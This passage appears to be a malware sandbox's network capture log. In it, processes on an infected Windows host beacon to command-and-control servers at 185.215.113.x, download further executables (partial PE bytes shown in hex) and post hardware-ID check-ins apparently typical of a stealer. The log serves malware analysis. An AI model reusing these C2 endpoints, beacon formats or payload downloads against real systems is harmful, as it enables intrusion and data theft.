Oct 18, 2024 15:04:08.745910883 CEST	1236	IN	Data Raw: a9 7e 75 fc db ce 96 22 f8 61 f8 e9 b9 40 1c 71 fd f7 7b cc 39 b3 31 e0 59 72 6c ca 80 e4 3d 5a 2b 61 33 b5 24 79 3f 1e dd 9b 9d d2 d3 14 c7 ab ab a4 64 02 e0 8f e6 67 90 5b e0 2c d8 a7 b1 cb ba 3f 5d 2a cd 2a ab e6 87 f0 09 a5 3e 71 94 07 c2 31 Data Ascii: ~u"a@q{91Yrl=Z+a3$y?dg[,?]**>q12J+& W<>{W!@XBu5eyx:u-7.tI6{fQ^d\|YBw7@2Q@?9"VhY,0D6cU5KhoC5a<b+q9G]'
Oct 18, 2024 15:04:08.748125076 CEST	1236	IN	Data Raw: a0 2b d4 f4 7e 60 cb 07 c2 7a 7e 62 fc fa 25 63 0a 25 1a 33 a2 27 fd ba fb 33 ab a1 6b 03 6a bf 57 b9 35 00 60 8e a1 ed 21 9d 5f d4 6f 72 9b de d0 05 a4 4e 60 ff d6 fe 80 05 c9 fd 5a 47 23 c4 73 17 f8 0b c7 54 1e 0e 1d 8c bb c7 f6 09 aa ed 90 67 Data Ascii: +~`z~b%c%3'3kjW5`!_orN`ZG#sTgQmF !Zy,oxpF<iJ8+ q6xDtk4XXWPAT9?_-oyl!t7'ddO^F0XqpIix"'krm6v^7]Lr
Oct 18, 2024 15:04:08.748136997 CEST	1236	IN	Data Raw: 25 c3 33 e4 4b ee 30 bb a8 8f dc 14 54 af 31 67 6c d5 7b 6c 30 16 e5 5c 40 17 a3 50 fd 48 0f 0f 00 ef 7a 70 53 60 d8 e1 fb 7d ee 08 fe 78 27 0e 97 1a 27 30 aa 23 04 cb dc 7c bb 78 89 54 c8 97 db 4e 50 f5 b7 13 c0 bf d8 de 52 75 0e 1b 98 8a 19 13 Data Ascii: %3K0T1gl{l0\@PHzpS`}x''0#\|xTNPRuAeJ~CW.@k)wFO`C{nrNLl* 5"]&3 Qh4N1"^@3#5b{U5:dS2?;0l;A2t+
Oct 18, 2024 15:04:08.750092983 CEST	1236	IN	Data Raw: 24 3d f2 21 d5 f5 c8 da 30 ad 13 97 c8 c9 1d e7 1c 23 e7 e4 be 05 c3 2d 5d 9b da 42 5f 33 7f e1 11 4d 17 b7 0f 1f e8 20 15 2b ff 76 03 95 5d 1a f9 47 ee f9 af f8 4c 44 dd 1b 8f 97 43 0b f8 11 b1 00 93 8e fc 88 36 32 d7 b9 d6 66 77 a1 17 50 7b 70 Data Ascii: $=!0#-]B_3M +v]GLDC62fwP{pN\|:QidE8X.W"WLLDOUJ7qtJc^T)kOX9/fF ,%W3kK^l2K;G4cEgOC?,7HV'I\|c
Oct 18, 2024 15:04:08.771850109 CEST	1120	IN	Data Raw: de 3d b7 4f 27 5b 74 64 d7 81 10 0e fa c3 72 90 22 a0 6b e6 d6 15 37 3b 3b cf a6 6f 38 ed 6f e3 a8 9e b5 24 ff 80 f3 e2 75 4b 63 36 a3 92 5f 0b bf ed 4b 1e ad 16 50 8d 6c cf f1 59 13 9a a7 fd d8 d5 20 65 4c da 45 c0 c1 b9 40 38 11 49 79 f2 1d 2a Data Ascii: =O'[tdr"k7;;o8o$uKc6_KPlY eLE@8IydOPSY21ZR.~5V.6~cUPO 7+O7e`eC[u9O102"P?%&G7Cxh*O[3"t]M2DQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49825	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:13.534265995 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Oct 18, 2024 15:04:14.559788942 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49830	185.215.113.103	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:14.572235107 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 18, 2024 15:04:15.570722103 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:16 GMT ETag: "1cb800-624bfbeaba684" Accept-Ranges: bytes Content-Length: 1882112 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 6b 00 00 04 00 00 6d 97 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$Pk@km@P%d% %(@.rsrc %8@.idata %8@ +%:@nsvghvat`PV<@rciruuiw@k@.taggant0Pk"@
Oct 18, 2024 15:04:15.570959091 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:15.570972919 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:15.571902037 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:15.571916103 CEST	1236	IN	Data Raw: 8c a8 ff 9f 86 24 91 d8 90 b4 87 ab 51 79 e1 94 8d d6 3f c3 3e cf de f1 32 f8 fd aa 91 78 98 cc 9d 60 59 df 9d 0c 4b bf 19 ee a8 0e 8e 26 74 5d 17 e1 8a eb 44 1b 33 c1 c2 5b fb aa f2 77 47 92 54 5a 4b 2b 62 3a 1d a9 31 2f 0d f0 28 c5 ab 04 04 87 Data Ascii: $Qy?>2x`YK&t]D3[wGTZK+b:1/(RaG=3N^d?NDP&W`PA\)YQ4uNf'DMVgmWlNXw}8_XEO8],@?L<Q$S
Oct 18, 2024 15:04:15.572911024 CEST	1236	IN	Data Raw: 8d 00 73 bd 3e 46 ba 10 39 c3 c6 b3 d7 ce 89 df 85 9e 8b f1 5f 16 8e e4 00 33 3f 01 28 58 e2 b0 b8 67 01 9f 8b b2 00 32 25 29 62 72 25 be 17 06 4a a0 31 28 1e 60 1e 97 0b 93 b0 bc c8 47 cc 5e e6 65 93 bf 64 53 75 7f 88 df 6b 44 f5 47 bf 82 ac 06 Data Ascii: s>F9_3?(Xg2%)br%J1(`G^edSukDGd;?^m(X[7H7IhB'7xNXe3}V<@EaQ@buG.rDgnlqkUT}>\|}
Oct 18, 2024 15:04:15.572926044 CEST	1236	IN	Data Raw: 0e 14 93 2a e2 fe d6 4a 13 dd 37 1f 61 cb 99 8c 0d e7 94 5f 9d c8 8a fe 3e d2 9a 8c 8c 98 0b 8e 1d 14 87 ea 80 b5 94 db f8 5d ea a1 24 44 90 bc 98 df 57 17 29 5e c3 7e ac fc 90 32 81 03 3e 8c 2c 5e 7f 91 64 7c bb 52 1f 6a af 06 a2 65 c2 6a 05 c0 Data Ascii: *J7a_>]$DW)^~2>,^d\|RjejJ^$xhD-.O/.'\|yAKW?~g.6AocL^@%c42GLNF
Oct 18, 2024 15:04:15.573590994 CEST	1236	IN	Data Raw: c6 1c 90 8a 70 44 b2 68 70 1e e8 02 81 d5 0b 9d 1e f7 fc 1d c1 e4 17 94 3e 6c 9a 83 84 b4 17 df bc de 47 8b ec ce 03 c5 2c ee ef 5a 81 d5 6b 9d d3 f5 bf c2 47 c4 bb aa 14 a7 89 38 98 d5 13 5e 82 e4 9f 93 3e f8 9a 1f 90 68 d9 87 4c 4b 90 ca 84 48 Data Ascii: pDhp>lG,ZkG8^>hLKH[O"RpClV_a%\pY4@m^4<MT-O"VB.)O@Nmzi?E./7
Oct 18, 2024 15:04:15.573606968 CEST	1236	IN	Data Raw: 94 de 1f 8c 47 d8 2f ff d9 84 58 8b c4 44 a9 5e 95 78 75 45 d5 d5 87 5e 85 d5 c8 1a 09 ac fb bc f8 2c 05 6e 6a 93 ff ba 4a 6d 88 61 04 45 ef ed b5 cc b7 0a 16 df 45 11 05 88 86 ba 9d d5 c7 82 b1 4a c2 0a 89 2a d7 1b 16 30 7f 16 8b 0a 97 ac b3 44 Data Ascii: G/XD^xuE^,njJmaEEJ0D(E<zJFlT/t:BK/C/f`six=J}2{>yG>4h@,&nH&>aaRD
Oct 18, 2024 15:04:15.575910091 CEST	1236	IN	Data Raw: 68 d0 30 8a c3 43 ec 3e 30 79 f3 8e ed af 1c 9a 0c 55 d6 bc 14 e4 2c 90 17 47 f4 82 2c 31 1d a2 5b 1a ea 5a 1d 8c 98 d2 07 e3 50 87 a4 4a f8 4d 04 69 dc 52 77 fc 6c cc 99 28 27 cf 0c fd 02 1b 82 79 b3 cb f2 14 84 ca 03 c9 da f7 7c c2 97 e2 ce c9 Data Ascii: h0C>0yU,G,1[ZPJMiRwl('y\|]0bf^FGQ0\|f@Z#Q^cB(l7;H=`@m5y2\|{fzw>;/,g!w_d2vK&?Qg\)`NGC!Y\=?
Oct 18, 2024 15:04:15.579061031 CEST	1120	IN	Data Raw: e7 f8 1f ad 64 9e 10 3f 8d 28 fb f1 51 c0 df 5d f3 ae 9f e4 09 ff 5d b9 cc 5d d4 8d e3 94 69 cb 9d c9 61 87 e0 b6 ba 04 6e ae d0 6a 3a a4 5b 41 cc ad 13 66 5b 01 67 40 03 d4 6b bd f2 cc 89 b3 a3 70 6d ec bb 12 93 b0 ef c5 54 71 12 d6 3c 91 0f ef Data Ascii: d?(Q]]]ianj:[Af[g@kpmTq<qLA;u%dL2Xo@kOe> ?&]W#/TAQ7#e%;WD]#4'\|.[[[UQi{h]Cb\|_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49855	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:20.674814939 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 30 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000350002&unit=246122658369
Oct 18, 2024 15:04:21.685992956 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49856	185.215.113.37	80	5064	C:\Users\user\1000350002\6a8d4317d4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:20.720678091 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 18, 2024 15:04:21.734309912 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 18, 2024 15:04:21.895397902 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="build"doma------BAAAAKJKJEBGHJKFHIDG--
Oct 18, 2024 15:04:22.196211100 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49864	185.215.113.103	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:22.258321047 CEST	146	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Fri, 18 Oct 2024 12:50:16 GMT If-None-Match: "1cb800-624bfbeaba684"
Oct 18, 2024 15:04:23.164733887 CEST	196	IN	HTTP/1.1 304 Not Modified Date: Fri, 18 Oct 2024 13:04:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:16 GMT ETag: "1cb800-624bfbeaba684" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49878	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:24.914191961 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 31 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000351031&unit=246122658369
Oct 18, 2024 15:04:25.849647045 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49884	185.215.113.103	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:25.944541931 CEST	55	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 18, 2024 15:04:26.917890072 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:10:20 GMT ETag: "1a8c00-624bf2fe2133d" Accept-Ranges: bytes Content-Length: 1739776 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 45 00 00 04 00 00 2b 2d 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$D `@ E+-`Ui` @ @.rsrc`2@.idata 8@ ):@vnhbgiry@**<@hdcovdvs Df@.taggant@D"j@
Oct 18, 2024 15:04:26.918024063 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918086052 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918309927 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918323994 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918334007 CEST	536	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918757915 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918869019 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.918879986 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 18, 2024 15:04:26.919380903 CEST	1236	IN	Data Raw: b5 2f 74 61 ab f6 8d 30 a6 e4 e0 36 8f 2c 7d 16 1b ea 5b b0 92 fc 8e 4d 6a 31 7d 19 fb 4a 6a 87 1a ea 5b b0 00 fc 92 4d 1a 3d 7d 33 9b db ce cd a2 8c 52 2c 32 9d 63 ab bc fc 96 a2 19 5a 7d c3 a2 98 ac 3a e9 52 8f e6 ed f5 b8 30 9a 1d 67 af 72 dc Data Ascii: /ta06,}[Mj1}Jj[M=}3R,2cZ}:R0grt5t;X&znJ~RJ@@MzK0>,xX)!jl;a-KR6c9/E~8l5,(!,[PpGR`P!T4W_4>\|_R9,[q\|jH7.A96_tfP/
Oct 18, 2024 15:04:26.923245907 CEST	1236	IN	Data Raw: 2d e9 be 7a e9 80 3b eb e7 a3 90 13 b0 88 62 82 a1 64 42 42 c8 03 43 b8 7e 53 4c 68 a8 6c bc 5e ee 22 4b 41 89 e4 9a 71 38 f3 b0 1c 2b f8 28 76 40 ec fe 00 cb d6 2f 59 e7 5b dc 6f 63 32 df 58 e9 1b 7b ca d1 e5 44 ca 54 19 b3 25 e5 e5 07 6b 2d b9 Data Ascii: -z;bdBBC~SLhl^"KAq8+(v@/Y[oc2X{DT%k->Hlo)Jsyi}nPEa9`9'9moqJ\:R$k7+M#rbw@8rZ?m@E6 ?[DK$2qKg2~:8W'I M74

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49913	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:30.471432924 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000357001&unit=246122658369
Oct 18, 2024 15:04:31.386405945 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49920	185.215.113.103	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:31.590351105 CEST	145	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Fri, 18 Oct 2024 12:50:09 GMT If-None-Match: "2d8200-624bfbe479d49"
Oct 18, 2024 15:04:32.515336990 CEST	196	IN	HTTP/1.1 304 Not Modified Date: Fri, 18 Oct 2024 13:04:32 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 18 Oct 2024 12:50:09 GMT ETag: "2d8200-624bfbe479d49" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49948	185.215.113.43	80	5436	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:35.757899046 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 36 31 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000361031&unit=246122658369
Oct 18, 2024 15:04:36.664135933 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 18 Oct 2024 13:04:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49953	185.215.113.37	80	5168	C:\Users\user\1000350002\6a8d4317d4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 15:04:36.647104025 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 18, 2024 15:04:37.542431116 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:04:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 18, 2024 15:04:37.554709911 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 34 33 42 33 45 37 35 41 39 43 32 35 34 35 34 36 36 32 37 36 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="hwid"AB43B3E75A9C2545466276------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; 